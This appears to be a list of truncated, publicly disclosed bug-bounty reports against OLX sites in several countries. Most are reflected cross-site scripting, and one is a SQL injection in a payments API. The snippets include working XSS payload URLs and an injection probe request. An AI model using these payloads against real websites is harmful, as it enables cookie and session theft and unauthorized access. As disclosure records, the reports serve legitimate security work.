OLX: XSS yaman.olx.ph

PoC http://yaman.olx.ph/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=XSS& Confirmed on Chrome and Firefox...

olx.co.za XSS vulnerability

Vulnerable URL: https://www.olx.co.za/ads/q-test/?search%5Bprivatebusiness%5D=private%22%2F%3E%3Cimg+src%3Dnull+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29+id%3D%22foobar=galleryWide Details: Description| Value ---|--- Patched:| Yes, at 29.08.2016 Latest check for patch:| 29.08.2016 07:20 GMT...

OLX: cross-site scripting in get request

https://olx.pt/ads/?q=?alert1 where "q" is the vulnerable parameter which triggers cross-site scripting...

OLX: Reflected Cross Site scripting Attack (XSS)

Hi Team, Vulnerable URL :- https://olx.qa/en/account/confirm/?email=&hash=26d7e919ff37300d2f363c9066dd5b9d&ts=14682640390036aalert1261db&p=0674cd7dFl22cq3mM5jZfwjNxZ7slA==&vk=0&utmsource=test&utmmedium=email&utmcampaign=link XSS will be trigger. Well as you guys mentioned in the report 150735 tha...

OLX: Reflected XSS in www.olx.ph

Summary === The www.olx.ph domain is vulnerable to reflected XSS through the search function. Proof of concept === The following URL contains a harmless XSS vector, which causes an alert box to appear...

OLX: SQLi in Payment Request

Hi there, I have found out that one request in your API is vulnerable to SQL injection. PoC: Invalid Request: GET /api/v1.0/payments/items?ids=891048367'"&platform=desktop HTTP/1.1 Host: www.olx.com.ar User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64; rv:46.0 Gecko/20100101 Firefox/46.0 Accept:...

OLX: Updating and Deleting any Ads on OLX Philippines

Hi, I reported it directly to OLX Philippines they fixed it already but I still want to report it here to gain 7 points. Here's the original write-up about this issue: https://medium.com/@atom/severe-bug-on-olx-philippines-updating-and-deleting-any-ads-ea6a81a3327a.r0n5m7em8 I found a Severe Bug ...

OLX: Cross Site Scripting -> Reflected XSS

Steps:- 1. Go to http://www.olx.ba/pretraga?trazilica="PAYLOAD" 2.Payload :- "onmousemove=alert"XSSBYJASHWANTH" " 3. You will get Pop up 4. If the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained...

olx.ba XSS vulnerability

Vulnerable URL: http://www.olx.ba/pretraga?trazilica=%22%20onmousemove=alert%28%22XSSPOSED%22%29%20%22 Details: Description| Value ---|--- Patched:| Yes, at 24.07.2017 Latest check for patch:| 24.07.2017 16:36 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6456...

olx.ua XSS vulnerability

Vulnerable URL: http://olx.ua/list/?q=" Details: Description| Value ---|--- Patched:| Yes, at 15.08.2016 Latest check for patch:| 15.08.2016 14:54 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 743 Google Pagerank| 0 VIP website status:| Yes Check olx.ua SSL...